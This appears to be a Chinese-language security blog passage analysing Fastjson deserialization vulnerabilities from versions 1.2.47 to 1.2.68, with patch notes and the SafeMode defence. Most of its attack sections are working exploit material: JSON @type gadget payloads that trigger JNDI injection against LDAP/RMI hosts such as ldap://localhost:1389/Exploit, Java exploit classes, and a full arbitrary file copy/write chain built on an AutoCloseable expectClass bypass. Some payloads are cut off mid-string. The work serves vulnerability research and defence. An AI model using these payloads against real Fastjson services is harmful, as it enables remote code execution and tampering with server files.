由于 1.2.47 这个洞能够在不开启 AutoTypeSupport 实现 RCE,因此危害十分巨大,看看是怎样修的。1.2.48 中的修复措施是,在 loadClass() 时,将缓存开关默认置为 False,所以默认是不能通过 Class 加载进缓存了。同时将 Class 类加入到了黑名单中

因此,即使未开启 AutoTypeSupport,但 com.sun.rowset.JdbcRowSetImpl 类并未缓存到 Map 中,就不能和前面一样调用 TypeUtils.getClassFromMapping() 来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉:

0x09 Fastjson <= 1.2.61 通杀

Fastjson1.2.5 <= 1.2.59

需要开启 AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5 <= 1.2.60

需要开启 autoType:

1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5 <= 1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi

0x10 1.2.62 反序列化漏洞

前提条件

  • 需要开启 AutoType
  • Fastjson <= 1.2.62
  • JNDI 注入利用所受的 JDK 版本限制
  • 目标服务端需要存在 xbean-reflect 包;xbean-reflect 包的版本不限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependencies>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

漏洞原理

新 Gadget 绕过黑名单限制

org.apache.xbean.propertyeditor.JndiConverter 类的 toObjectImpl() 函数存在 JNDI 注入漏洞,可由其构造函数处触发利用

我们这里可以去到 JndiConverter 这个类里面,看到 toObjectImpl() 方法确实是存在 JNDI 漏洞的

img

为我们对 JndiConverter 这个类进行反序列化的时候,会自动调用它的构造函数,而它的构造函数里面调用了它的父类。所以我们反序列化的时候不仅能够调用 JndiConverter 这个类,还会去调用它的父类 AbstractConvertersetAsText() 就是其 setter 方法

img

EXP:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
ParserConfig._getGlobalInstance_().setAutoTypeSupport(true);
String payload = "{\"a\":{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:1099/Calc\"}";
JSON._parse_(payload);
}
}

img

0x11 1.2.66 反序列化漏洞

前提条件

  • 开启 AutoType
  • Fastjson <= 1.2.66
  • JNDI 注入利用所受的 JDK 版本限制
  • org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 包
  • br.com``.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core 和 Anteros-DBCP 包
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类需要 ibatis-sqlmap 和 jta 包

漏洞原理

新 Gadget 绕过黑名单限制

1.2.66 涉及多条 Gadget 链,原理都是存在 JDNI 注入漏洞。

org.apache.shiro.realm.jndi.JndiRealmFactory 类 PoC:

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

br.com``.anteros.dbcp.AnterosDBCPConfig 类 PoC:

1
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类 PoC:

1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTra

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP_1266 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
JSON.parse(poc);
}
}

0x12 1.2.67 反序列化漏洞

前提条件

  • 开启 AutoType
  • Fastjson <= 1.2.67
  • JNDI 注入利用所受的 JDK 版本限制
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 类需要 ignite-core、ignite-jta 和 jta 依赖
  • org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 和 slf4j-api 依赖

漏洞原理

新 Gadget 绕过黑名单限制。

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 类 PoC:

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory 类 PoC:

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.xml.internal.ws.api.ha.StickyFeature;

public class EXP_1267 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +
" \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(poc);
}
}

0x13 1.2.68 反序列化漏洞

详细分析:https://b1ue.cn/archives/506.html

expectClass 绕过 AutoType,这个洞可以稍微看一下,感觉是可以结合利用的

前提条件

  • Fastjson <= 1.2.68
  • 利用类必须是 expectClass 类的子类或实现类,并且不在黑名单中

漏洞原理

绕过 checkAutoType() 函数的关键点在于其第二个参数 expectClass,可以通过构造恶意 JSON 数据、传入某个类作为 expectClass 参数再传入另一个 expectClass 类的子类或实现类来实现绕过 checkAutoType() 函数执行恶意操作

简单地说,本次绕过 checkAutoType() 函数的攻击步骤为:

  1. 先传入某个类,其加载成功后将作为 expectClass 参数传入 checkAutoType() 函数;
  2. 查找 expectClass 类的子类或实现类,如果存在这样一个子类或实现类其构造方法或 setter 方法中存在危险操作则可以被攻击利用;

漏洞复现

简单地验证利用 expectClass 绕过的可行性,先假设 Fastjson 服务端存在如下实现 AutoCloseable 接口类的恶意类 VulAutoCloseable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

EXP:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;


public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"VulAutoCloseable\",\"cmd\":\"calc\"}";
JSON._parse_(payload);
}
}

无需开启 AutoType,直接成功绕过 CheckAutoType() 的检测从而触发执行:

img

调试分析

直接在 CheckAutoType() 函数中打断点开始调试,第一次是传入 AutoCloseable 类进行校验,这里 CheckAutoType() 函数的 expectClass 参数是为 null 的:

img

往下,直接从缓存 Mapping 中获取到了 AutoCloseable 类:然后获取到这个 clazz 之后进行了一系列的判断,clazz 是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,很显然我们这里肯定不是,内部的白名单一定是非常安全的

img

然后后面这个判断里面出现了 expectClass,先判断 clazz 是否不是 expectClass 类的继承类且不是 HashMap 类型,是的话抛出异常,否则直接返回该类。,我们这里没有 expectClass,所以会直接返回 AutoCloseable 类:

1
2
3
4
5
6
7
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
}

接着,返回到 DefaultJSONParser 类中获取到 clazz 后再继续执行,根据 AutoCloseable 类获取到反序列化器为 JavaBeanDeserializer,然后应用该反序列化器进行反序列化操作:

img

往里走,调用的是 JavaBeanDeserializerdeserialze() 方法进行反序列化操作,其中 type 参数就是传入的 AutoCloseable类

img

往下的逻辑,就是解析获取 PoC 后面的类的过程。这里看到获取不到对象反序列化器之后,就会进去如图的判断逻辑中,设置 type 参数即 java.lang.AutoCloseable 类为 checkAutoType() 方法的 expectClass 参数来调用 checkAutoType() 函数来获取指定类型,然后再获取指定的反序列化器:

img

此时,第二次进入 checkAutoType() 函数,typeName 参数是 PoC 中第二个指定的类,expectClass 参数则是 PoC 中第一个指定的类:

由于 java.lang.AutoCloseable 类并非其中黑名单中的类,因此 expectClassFlag 被设置为 true:

img

往下,由于 expectClassFlag 为 true 且目标类不在内部白名单中,程序进入 AutoType 开启时的检测逻辑:

img

由于我们定义的 VulAutoCloseable 类不在黑白名单中,因此这段能通过检测并继续往下执行。

往下,未加载成功目标类,就会进入 AutoType 关闭时的检测逻辑,和上同理,这段能通过检测并继续往下执行:

img

往下,由于 expectClassFlag 为 true,进入如下的 loadClass() 逻辑来加载目标类,但是由于 AutoType 关闭且 jsonType 为 false,因此调用 loadClass() 函数的时候是不开启 cache 即缓存的:

img

跟进该函数,使用 AppClassLoader 加载 VulAutoCloseable 类并直接返回:

img

往下,判断是否 jsonType、true 的话直接添加 Mapping 缓存并返回类,否则接着判断返回的类是否是 ClassLoader、DataSource、RowSet 等类的子类,是的话直接抛出异常,这也是过滤大多数 JNDI 注入 Gadget 的机制:

img

前面的都能通过,往下,如果 expectClass 不为 null,则判断目标类是否是 expectClass 类的子类,是的话就添加到 Mapping 缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里 expectClass 为 AutoCloseable 类、因此恶意类必须是 AutoCloseable 类的子类才能通过这里的判断

1
2
3
4
5
6
7
8
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils._addMapping_(typeName, clazz);
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

之后就是恶意类的触发了

简单总结

第一个 @type 进去什么都没有发生;但是第一个 @type 是作为第二个指定的类里面的 expectClass。所以说白了,loadClass 去作用的类是第一个 @type;如果这个 @type 是可控的恶意类,可以造成命令执行攻击。

并且需要加载的目标类是 expectClass 类的子类或者实现类

实际利用

前面漏洞复现只是简单地验证绕过方法的可行性,在实际的攻击利用中,是需要我们去寻找实际可行的利用类的

主要是寻找关于输入输出流的类来写文件,IntputStreamOutputStream 都是实现自 AutoCloseable 接口的

我寻找 gadget 时的条件是这样的。

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是 byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
    以上三个组合在一起就能构造成一个写文件的利用链,我通过扫描了一下 JDK ,找到了符合第一个和第三个条件的类
    分别是 FileOutputStream 和 ObjectOutputStream,但这两个类选取的构造器,不符合情况,所以只能找到这两个类的子类,或者功能相同的类

复制/读取文件

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream

依赖:

1
2
3
4
5
<dependency>  
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

SafeFileOutputStream 类的源码中,其 SafeFileOutputStream(java.lang.String, java.lang.String) 构造函数判断了如果 targetPath 文件不存在且 tempPath 文件存在,就会把 tempPath 复制到 targetPath 中,正是利用其构造函数的这个特点来实现 Web 场景下的任意文件读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}

this.copy(this.temp, this.target);
}

this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}

img

写入文件

利用类:com.esotericsoftware.kryo.io.Output

依赖:

1
2
3
4
5
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

Output 类主要用来写内容,它提供了 setBuffer()setOutputStream() 两个 setter 方法可以用来写入输入流,其中 buffer 参数值是文件内容,outputStream 参数值就是前面的 SafeFileOutputStream 类对象,而要触发写文件操作则需要调用其 flush() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
* @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
this.outputStream = outputStream;
position = 0;
total = 0;
}

...

/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
* maxBufferSize. */
public void setBuffer (byte[] buffer) {
setBuffer(buffer, buffer.length);
}

...

/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
if (outputStream == null) return;
try {
outputStream.write(buffer, 0, position);
outputStream.flush();
} catch (IOException ex) {
throw new KryoException(ex);
}
total += position;
position = 0;
}

...

如果可以写入文件的话,我们这里可以写入一些恶意文件。

接着,就是要看怎么触发 Output 类 flush() 函数了,flush() 函数只有在 close()require() 函数被调用时才会触发,其中 require() 函数在调用 write 相关函数时会被触发。这也是链子的思维

其中,找到 JDK 的 ObjectOutputStream 类,其内部类 BlockDataOutputStream 的构造函数中将 OutputStream 类型参数赋值给 out 成员变量,而其 setBlockDataMode() 函数中调用了 drain() 函数、drain() 函数中又调用了 out.write() 函数,满足前面的需求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**  
* Creates new BlockDataOutputStream on top of given underlying stream.
* Block data mode is turned off by default.
*/
BlockDataOutputStream(OutputStream out) {
this.out = out;
dout = new DataOutputStream(this);
}

/**
* Sets block data mode to the given mode (true == on, false == off)
* and returns the previous mode value. If the new mode is the same as
* the old mode, no action is taken. If the new mode differs from the
* old mode, any buffered data is flushed before switching to the new
* mode.
*/
boolean setBlockDataMode(boolean mode) throws IOException {
if (blkmode == mode) {
return blkmode;
}
drain();
blkmode = mode;
return !blkmode;
}

...

/**
* Writes all buffered data from this stream to the underlying stream,
* but does not flush underlying stream.
*/
void drain() throws IOException {
if (pos == 0) {
return;
}
if (blkmode) {
writeBlockHeader(pos);
}
out.write(buf, 0, pos);
pos = 0;
}

对于 setBlockDataMode() 函数的调用,在 ObjectOutputStream 类的有参构造函数中就存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ObjectOutputStream(OutputStream out) throws IOException {
verifySubclass();
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
writeStreamHeader();
bout.setBlockDataMode(true);
if (_extendedDebugInfo_) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}

但是 Fastjson 优先获取的是 ObjectOutputStream 类的无参构造函数,因此只能找 ObjectOutputStream 的继承类来触发了

只有有参构造函数的 ObjectOutputStream 继承类:com.sleepycat.bind.serial.SerialOutput

1
2
3
4
5
<dependency>  
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

SerialOutput 类的构造函数中是调用了父类 ObjectOutputStream 的有参构造函数,这就满足了前面的条件了:

1
2
3
4
5
6
7
8
9
10
public SerialOutput(OutputStream out, ClassCatalog classCatalog)  
throws IOException {

super(out);
this.classCatalog = classCatalog;

/* guarantee that we'll always use the same serialization format */

useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "E:/Task/flag.txt",
"tempPath": "a"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "RzNuZzRy",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.alibaba.fastjson.JSON;

public class WriteAttack {
public static void main(String[] args) {
String poc = "{\n" +
" \"stream\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\": \"E:/Task/flag.txt\",\n" +
" \"tempPath\": \"a\"\n" +
" },\n" +
" \"writer\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
" \"buffer\": \"RzNuZzRy\",\n" +
" \"outputStream\": {\n" +
" \"$ref\": \"$.stream\"\n" +
" },\n" +
" \"position\": 5\n" +
" },\n" +
" \"close\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
" \"out\": {\n" +
" \"$ref\": \"$.writer\"\n" +
" }\n" +
" }\n" +
"}";
JSON._parse_(poc);
}
}

tips:

  • org.eclipse.core.internal.localstore.SafeFileOutputStream 中,如果 tempPath 不存在,则 BufferedOutputStream 就是 targetPath,相对的,如果 tempPath 存在 targetPath 不存在,则 BufferedOutputStream 就是 tempPath
  • 写入文件内容其实有限制,有的特殊字符并不能直接写入到目标文件中,比如写不进 PHP 代码等

补丁分析

看 GitHub 官方的 diff,主要在 P arserConfig.java 中:https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

img

对比看到 expectClass 的判断逻辑中,对类名进行了 Hash 处理再比较哈希黑名单,并且添加了三个类,网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为:

版本
十进制Hash值
十六进制Hash值
类名
1.2.69
5183404141909004468L
0x47ef269aadc650b4L
java.lang.Runnable
1.2.69
2980334044947851925L
0x295c4605fd1eaa95L
java.lang.Readable
1.2.69
-1368967840069965882L
0xed007300a7b227c6L
java.lang.AutoCloseable

这就简单粗暴地防住了这几个类导致的绕过问题了

SafeMode

官方参考:https://github.com/alibaba/fastjson/wiki/fastjson_safemode

在 1.2.68 之后的版本,在 1.2.68 版本中,fastjson 增加了 safeMode 的支持。safeMode 打开后,完全禁用 autoType。所有的安全修复版本 sec10 也支持 SafeMode 配置。

代码中设置开启 SafeMode 如下:

1
ParserConfig.getGlobalInstance().setSafeMode(true);

开启之后,就完全禁用 AutoType 即 @type 了,这样就能防御住 Fastjson 反序列化漏洞了。

具体的处理逻辑,是放在 checkAutoType() 函数中的前面,获取是否设置了 SafeMode,如果是则直接抛出异常终止运行:

img

0x14 其他绕过黑名单的 Gadget

这里补充下其他一些 Gadget,可自行尝试

注意,均需要开启 AutoType,且会被 JNDI 注入利用所受的 JDK 版本限制。

1.2.59

com.zaxxer.hikari.HikariConfig 类 PoC:

1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider 类 PoC:

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor 类 PoC:

1
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com``.zaxxer.hikari.HikariConfig 类 PoC:

1
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef 类 PoC:

1
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

未知版本

org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory 类 PoC:

1
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 类 PoC:

1
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

0x15 写在后面

看 python 服务监听也知道是半夜写的了,毕竟拖太久了,本质上也不是特别难的东西

参考:

https://drun1baby.top/2022/08/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8703-Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/

https://drun1baby.top/2022/08/13/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8704-Fastjson1-2-62-1-2-68%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://blog.csdn.net/qq_36869808/article/details/123711613